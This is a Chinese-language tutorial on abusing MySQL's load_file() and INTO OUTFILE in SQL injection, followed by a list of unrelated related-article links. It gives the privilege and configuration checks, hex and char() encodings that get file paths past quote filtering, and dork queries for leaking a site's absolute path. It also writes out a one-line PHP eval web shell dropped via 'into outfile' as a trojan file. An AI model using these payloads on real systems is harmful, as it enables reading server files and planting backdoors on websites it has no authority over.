load_file()函数的使用:

1.使用条件

①有读取文件的权限 r

and (select count(*) from mysql.user)>0
如果返回正常则说明有权限,反之没有

②文件大小不能超过max_allowed_packet

secure_file_priv的值不为NULL

查看mysql是否有对函数load_file(),outfile()函数的限制(securefilepriv的值是否为NULL)

show global variables like '%secure%';

这个情况下没有办法用这些函数,可以到MySQL的配置文件下
修改,Windows下my.ini,linux下my.cnf。在[mysqld]下面添加一行

secure_file_priv = 

重启MySQL

出现这个就表明可以了
④必须给出绝对路径


2.注意

1. load_file()函数指定路径是要用到单引号,但是一般魔术引号开启,或者对你输入的内容进行了过滤,这时候转化为十六进制或者ASCII码

比如:d:/test.txt , 构造语句select load_file('d:/test.txt'), 如果进行了单引号过滤,语句会变成select load_file(\'d:/test.txt\') ,可以转化为16进制:0x643A2F746573742E747874(只转路径,不转'') ,或者转化为ASCII码:char(100,58,47,116,101,115,116,46,116,120,116) 构造select load_file(0x643A2F746573742E747874) 或者select load_file(char(100,58,47,116,101,115,116,46,116,120,116))

2.

hex(load_file('exe文件'))查看 exe二进制文件-----以十六进制读取
-------------------

3.爆出路径

①在display_errors = On的情况下,在后边加个错误参数,爆出网站的绝对路径

load_file()读取配置文件

③扫描工具

④googlehacking:

Site:webshell.cc warning

Site:webshell.cc "fatal error"

inurl:phpinfo


outfile

1.当对于单引号过滤的时候,就完犊子了,因为绝对路径必须有单引号,十六进制和ASCII都不行

2.outfile经典一句话
select '<?php eval($_POST[cmd])?>' into outfile 'd:/muma.php'

3.必须要有可写的权限。w

4.如果单引号过滤,能找到phpmyadmin也行

5.linux真的是权限不行,必须给相关的目录包括父目录用户o开启W权限

6.有时候写马的时候会出现这个提示,在这里我开了display_errors

但是我去自己服务器看了下确实会写进去。。。。

load_file()与into outfile函数详解的更多相关文章

  1. Mysql 字符函数详解

    MySql 所有字符串函数函数详解 ASCII(str) 返回str最左边第一位字符的ASCII编码,如果str为空,则返回 0 .如果str为NULL,则返回NULL -- 只返回a的ASCII编码 ...

  2. malloc 与 free函数详解<转载>

    malloc和free函数详解   本文介绍malloc和free函数的内容. 在C中,对内存的管理是相当重要.下面开始介绍这两个函数: 一.malloc()和free()的基本概念以及基本用法: 1 ...

  3. NSSearchPathForDirectoriesInDomains函数详解

    NSSearchPathForDirectoriesInDomains函数详解     #import "NSString+FilePath.h" @implementation ...

  4. JavaScript正则表达式详解(二)JavaScript中正则表达式函数详解

    二.JavaScript中正则表达式函数详解(exec, test, match, replace, search, split) 1.使用正则表达式的方法去匹配查找字符串 1.1. exec方法详解 ...

  5. Linux C popen()函数详解

    表头文件 #include<stdio.h> 定义函数 FILE * popen( const char * command,const char * type); 函数说明 popen( ...

  6. kzalloc 函数详解(转载)

    用kzalloc申请内存的时候, 效果等同于先是用 kmalloc() 申请空间 , 然后用 memset() 来初始化 ,所有申请的元素都被初始化为 0. view plain /** * kzal ...

  7. Netsuite Formula > Oracle函数列表速查(PL/SQL单行函数和组函数详解).txt

    PL/SQL单行函数和组函数详解 函数是一种有零个或多个参数并且有一个返回值的程序.在SQL中Oracle内建了一系列函数,这些函数都可被称为SQL或PL/SQL语句,函数主要分为两大类: 单行函数 ...

  8. jQuery.attr() 函数详解

    一,jQuery.attr()  函数详解: http://www.365mini.com/page/jquery-attr.htm 二,jQuery函数attr()和prop()的区别: http: ...

  9. memset函数详解

    语言中memset函数详解(2011-11-16 21:11:02)转载▼标签: 杂谈 分类: 工具相关  功 能: 将s所指向的某一块内存中的每个字节的内容全部设置为ch指定的ASCII值, 块的大 ...

随机推荐

  1. grunt + sass 使用记录

    环境依赖 Nodejs for grunt Ruby for sass 配置文件 package.json { "name": "app", "ver ...

  2. 分布式缓存memcached介绍,win7环境安装,常用命令set,get,delete,stats, java访问

    一.memcached是什么? 二.memcached不互相通信的分布式 三.安装步骤 四.本文介绍的命令主要包括: 存入命令(Storage commands) 取回命令(Retrieval com ...

  3. 使用Loadrunner监控Windows资源

    为了区分把装有loadrunner的机器称作A,被监控资源的服务器(windows)称作B 1.确保B机器Administrator账户是可使用状态:右键计算机→ 管理→ 本地用户和组→ 用户,其中A ...

  4. jQuery_1_基础核心

    jQuery代码风格:在jQuery程序中,不管是页面元素的选择还是内置的功能函数,都是以“$"来起始的. $(function(){});                        / ...

  5. SQL Server 删除当前数据库中所有数据库 ,无视约束

    Sql Server中清空所有数据表中的记录 清空所有数据表中的记录: exec sp_msforeachtable  @Command1 ='truncate table ?' 删除所有数据表: e ...

  6. pat乙级1049

    浮点型乘整型和整型乘浮点型结果不同,不知为什么. double sum = 0.0; ; i < n; i++) { cin >> a[i]; sum += a[i] * (i + ...

  7. linux 命令——46 vmstat(转)

    vmstat 是Virtual Meomory Statistics(虚拟内存统计)的缩写,可对操作系统的虚拟内存.进程.CPU活动进行监控.他是对系统的整体情况进行统计,不足之处是无法对某个进程进行 ...

  8. linux 命令——29 chgrp(转)

    在 lunix系统里,文件或目录的权限的掌控以拥有者及所诉群组来管理.可以使用chgrp指令取变更文件与目录所属群组,这种方式采用群组名称或群组识别 码都可以.Chgrp命令就是change grou ...

  9. VMware安装win7系统

    1.创建一个虚拟机 2.配置iso映射文件   3.设置boot设置第一启动为cd   4.快速分区后重启电脑,然后选择[A]安装win7.  重启电脑后安装win7系统   搞定...  

  10. Java之JDK的下载与安装,java环境变量的配置,Editplus的下载与使用

    JRE(Java Runtime Environment Java运行环境) 包括Java虚拟机(JVM Java Virtual Machine)和Java程序所需的核心类库等,如果想要运行一个开发 ...